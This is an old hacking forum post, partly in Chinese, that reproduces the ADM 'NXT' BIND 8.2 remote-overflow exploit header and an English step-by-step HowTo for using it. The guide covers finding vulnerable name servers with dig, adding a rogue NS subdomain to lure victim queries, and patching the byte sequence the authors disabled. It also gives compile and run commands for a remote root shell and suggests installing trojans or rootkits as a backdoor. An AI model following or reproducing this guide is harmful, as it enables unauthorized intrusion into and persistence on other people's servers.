呵呵，给你一些bind漏洞的资料吧！
E文差也不要紧张，硬着头皮看，应该 能明白的，漏洞的利用程式 具体过程，一些技巧里面都写了 Good
Luck! /* * ADM CONFIDENTIAL -- (ADM Confidential Restricted
when * combined with the aggregated modules for this product)
* OBJECT CODE ONLY SOURCE MATERIALS * (C) COPYRIGHT ADM
Crew. 1999 * All Rights Reserved * * This module may not
be used, published, distributed or archived without * the
written permission of the ADM Crew. Please contact your local sales
* representative. * * ADM named 8.2/8.2.1 NXT remote
overflow - horizon/plaguez * * "a misanthropic anthropoid
with nothing to say" * * thanks to stran9er for sdnsofw.c
* * Intel exploitation is pretty straightforward.. should
give you a remote * shell. The shellcode will break chroot, do a
getpeername on all open * sockets, and dup to the first one that
returns AFINET. It also forks and * runs a command in case the
fd duping doesn't go well. Solaris/SPARC is a * bit more
complicated.. we are going through a well trodden part of the *
code, so we don't get the context switch we need to have it populate
the * register windows from the stack. However, if you just
hammer the service * with requests, you will quickly get a
context switch at the right time. * Thus, the SPARC shellcode
currently only breaks chroot, closes current * fd's and runs a
command. * Also, the NetBSD shellcode doesn't break chroot
because they stop the * dir tricks. Of course, they allow mknods
in chrooted environments, so * if named is running as root, then
it still might be expoitable. * The non-exec stack patch version
returns into a malloc'ed buffer, whose * address can vary quite
alot. Thus, it may not be as reliable as the other * versions..
* * We broke this just a little in order to raise the bar on
using it * (just slightly).. If you'd like to test it on your
own box, put a shell * in /adm/sh, or /adm/ksh for solaris on
the target machine. */
1. How do I query a DNS?
2. How do I find a vulnerable DNS?
(B) How do I edit
DNS entries?
1. How do I find a Zone file? 2. How do I
edit a Zone file?
(C) How do I exploit a vulnerable
machine
1. What do I need to obtain before I could use the
exploit? 2. What is the theory behind the exploit? 3. Where
do I get the exploit from? 4. Why should I patch the exploit?
5. How do I patch the exploit? 6. How do I compile the
exploit? 7. How do I run the exploit? 8. How do I make the
vulnerable server make a query to my ip? 9. What should I do
before I leave the shell?
(D) Who should be credited for
this HowTo?
1. Who is the person that motivated me into
writing this? 2. Who am I? 3. Can I distribute/change this
HowTo? 4. Final Credits and Greets
Section A - What is a DNS?
--------------------------
A DNS - Domain Name Server,
is used to convert host names to IP addresses and IP addresses
to host names. for example: www.infoseek.com = 204.162.96.173
1. How do I query a DNS? First of
all, you should probably know that when you configure your
TCP/IP and wish to use hostnames in your web
browser to get to a web site, instead of
typing the IP address of that site, you would need
to configure a DNS server. You will get your
DNS server IP address from your ISP. To make
queries to the DNS server, Unix systems (and
NT) has a tool calls "nslookup", the syntax of that tool is:
$nslookup <hostname>
or $nslookup
<ip> A properly configured DNS server
contains two "lists" for a domain called the
Zone files. One zone file is used for hostname to IP
resolution, and the other is used for reverse
lookup or IP to Hostname resolution.
"nslookup" can be used in an interactive way, this is the
way we will work with, as it is more
powerful. Just type nslookup at the shell and
press enter. You will get a ">" prompt, from which you
can start typing in IP addresses and
hostnames. There are some commands in
nslookup which we will discuss later in this howto that
will allow you to get some more information.
2. How do I find vulnerable systems?
Remember, we will exploit Name Servers. We
first need to find out the version of the DNS service that runs on
a remote host. As well, we will need to know
the Operating System, but there are many
HowTo****s on that. We will use a tool called "dig", which
is available on most Unix systems. The syntax
looks like this: $dig @<victim_ip>
version.bind chaos txt | grep \"8 look at the
output. If you see: 8.2 or 8.2.1 or 8.2.2 then it is
vulnerable. If you see 8.2.2P2 - P5, it is
not. If you don't get an output and you just
see your terminal stuck, it means that the
DNS admin has probably edited the source so that the
server won't give you this information. IT
COULD BE VULNERABLE.
Section B - How do I edit DNS
entries? --------------------------------------
The
first thing you should know is, DNS is only text files, and entries
are added or changed by editing those text files and restarting
the service. The main file that controls the DNS service is
/etc/named.conf or /etc/named.boot. If /etc/named.conf exists,
that is the file you should be working with.
1. How do I
find a Zone file? As I said earlier, a
properly configured DNS has two "lists" or zone
files for each domain it serves.
you will need to edit that zone file to
change or add entries to that domain. A
domain is for example, infoseek.com, and a hostname is www,
the FQDN is www.infoseek.com. FQDN stands for
Fully Qualified Domain Name. To find the zone
file for FQDN to IP for infoseek.com domain,
we should first query our DNS server to tell us what is the primary
DNS for infoseek.com. This is how it is done:
As you can see, now we have
the ip address of the name server of
infoseek.com. Let us suppose that we are root there.
We SSH to their DNS, and locate the file
/etc/named.conf We view the file and we see
at the top an options section. there is a
line there that says: directory "/var/named"
This means, that the zone files will sit in
/var/named. We further look down the file and
we see some zone sections, We see a zone for
infoseek.com which looks like:
zone
"infoseek.com"{ type master;
file "infoseek.com.zone";
};
As we can
understand now, the zone file is:
/var/named/infoseek.com.zone, and that is the file which we should
edit.
2. How do I edit a Zone file?
First, let's take a look at that zone file.
We see at the top a SOA record, which
probably looks to you like a block of garbage
text at the top. then, we see something like:
@ IN NS
NS-UU.infoseek.com. www IN A 204.192.96.173
ftp IN CNAME corp-bbn
corp-bbn IN A 204.192.96.2 .
. .
As we can see, there
are several types of records, for our exploit to
work, we only need to focus on one record,
which is NS. An A record is the typical
Hostname to IP record type. CNAME is a
Canonical Name, which is an Alias to an A record.
A PTR record is a Pointer record, which is
the oposit of A, it points IP addresses to
FQDN****s. PTR****s are used in the "other" zone file.
We will not discuss about it here but it is
recommended that you read about DNS, there
are many good books about DNS out there, read one.
An NS record is a Name Server record type
which says what is the Name Server for a
specific domain or sub-domain. As you might
have noticed, the NS record NS-UU.infoseek.com ends with
a ".". This is because
we specified the FQDN and not the hostname.
When the period is omitted, the domain name is added after the
hostname and if we where to omit the last
period, it would be like we have said:
NS-UU.infoseek.com.infoseek.com.
So instead of:
www
IN A 204.192.96.173 we could write:
www.infoseek.com. IN A 204.192.96.173
Which is the same thing.
For our exploit to
work, we will need to add a sub-domain to a name
server on the net. So let's again suppose
that we are root at NS-UU.infoseek.com.
How do we add a
sub-domain? We just need to add another NS
record.
subdomain IN NS hacker.box.com.
this means that the name server of the
domain subdomain.infoseek.com would be
hacker.box.com. hacker.box.com needs to be
resolved to a your machine's IP address, so
enter your FQDN instead. Now, we need to
restart the name server so the changes will take
effect. initiate the
following command:
#/usr/sbin/ndc restart<ENTER> new pid
is 24654 #
Section C - How do I
exploit a vulnerable machine
-------------------------------------------------
1.
What do I need to obtain before I could use the exploit?
First of all, 3 brain cells. ;p
You will also need root privileges on a
PRIMARY Name Server on the Internet which is
Authoritative for a Domain on the net. Also,
you will need a machine from which you will run the exploit.
As for the DNS requirement, you could also
ask someone that has root privileges on such
a DNS, to edit the zone files for you.
2. What is the theory
behind the exploit? The exploit uses a Buffed
Overflow in BIND versions 8.2 - 8.2.2 to gain
a remote root shell. The exploit binds to
port 53 on the local machine, and acts as a DNS
server. When someone queries it, it will send
a large NXT record that contains code that
will exploit the remote BIND server, provided
that it is a vulnerable machine. To get more
information on how Buffer Overflows work, *PLEASE* read
Aleph One****s exelent article:
Phrack 49 Article 14 -
Smashing The Stack For Fun And Profit. URL:
http://www.phrack.com/search.phtml?view&article=p49-14
3. Where do I get the exploit from?
http://www.hack.co.za/daem0n/named/t666.c
4. Why should I
patch the exploit? You might have heard that
one needs to patch the exploit to make it
work. This is because ADM thought only elite hax0rs should use their
exploit and so, they planted a small "bug" in
the code. What they actually did, is change
the shell codes so that instead of running
/bin/sh, the exploit will run /adm/sh.
5. How do I patch the
exploit? As you may see, only a small change
needs to be done in the code.
/ = 2F(HEX)
===> / = 2F(HEX) a = 61(HEX) ===> b =
62(HEX) d = 64(HEX) ===> i = 69(HEX)
m = 6D(HEX) ===> n = 6E(HEX)
/ = 2F(HEX) ===> / = 2F(HEX)
So, all we need to do, is search the
source code for 0x2f,0x61,0x64,0x6d,0x2f and
replace it with 0x2f,0x62,0x69,0x6e,0x2f
Done.
6. How do I compile the exploit?
As always: $gcc t666.c
-o t666<ENTER> $
7. How do I
run the exploit? $su<ENTER>
Password:<password><ENTER>
#./t666 1<ENTER>
Now the exploit is bound to port 53 (if you
run a DNS server on the machine you want to
run the exploit on, you must first kill the name
server, use: #killall -9 named)
The exploit is now waiting for queries, the
second someone will query your exploit
machine you will get an output: Received
request from xxx.xx.xx.xx:1025 for xxx.xxxxxxxxx.xx.xx type=1
If it was a DNS server, it would enter a
proxy loop, and if it is a vulnerable server,
running on Linux Redhat 6.x - named 8.2/8.2.1
(from rpm) (this is because we chose architecture 1, type ./t666
without arguments and you will get a list of
the architectures that the exploit will work
on, I have tried it on Redhat linux only, so
don't ask me why solaris doesn't work, I don't have a solaris to
test it on, nor do I have the time to put
more effort on this exploit.) You will get a
remote root shell.
8. How do I make the vulnerable server
make a query to my ip? This is very easy now,
once you have added a subdomain in a name
server on the net and made yourself its DNS, the only thing left to
do, is query the vulnerable server for a host
inside the added subdomain.
What will happen, is the server will ask,
in this case NS-UU.infoseek.com for the IP of
www.subdomain.infoseek.com.
NS-UU.infoseek.com will start searching and will get to subdomain,
because subdomain has its OWN NS record, it
will tell <victim> that hacker.box.com.
(your hostname in this case) is the Authoritative Name
Server for subdomain.infoseek.com. Now, what
will happen, is that <victim> will
query hacker.box.com, for the ip address of
www.subdomain.infoseek.com. BOOM!
9. What
should I do before I leave the shell? When
you exploit BIND, it will crash named, so you need to add some
kind of a back door so you could log back in
and restart it. *DO NOT TRY TO RESTART IT
WHITHIN THE SHELL.* There are plenty of
trojans and rootkits you could install on the
server, I leave that to you.
Section D - Who should be
credited for this HowTo?
--------------------------------------------------
1.
who is the person that motivated me into writing this?
That person is no other the gov-boi, he
operates the great site www.hack.co.za.
Without him, this How-To would have never been writen!
Thanks Gov-Boi
2. whoami?
I am E-Mind, you can find me on IRC (EFNet)
I am not giving away my E-Mail, and will not
answer stupied questions. I think I have
provided everything you need to RUN the exploit in this How-To.
If not, and if you find errors, PLEASE /msg
me on IRC.
3. can I distribute/change this HowTo?
I take no responsibility for your actions.
You are free to do whatever you want with
this file
*AS LONG AS "SECTION D" REMAINS
UNTOUCHED*
4. Final Credits and Greets
Credits:
Gov-Boi - Keep up the good work man! ;p
Aleph One - no other
article out there explains buffer overflows
better then yours!
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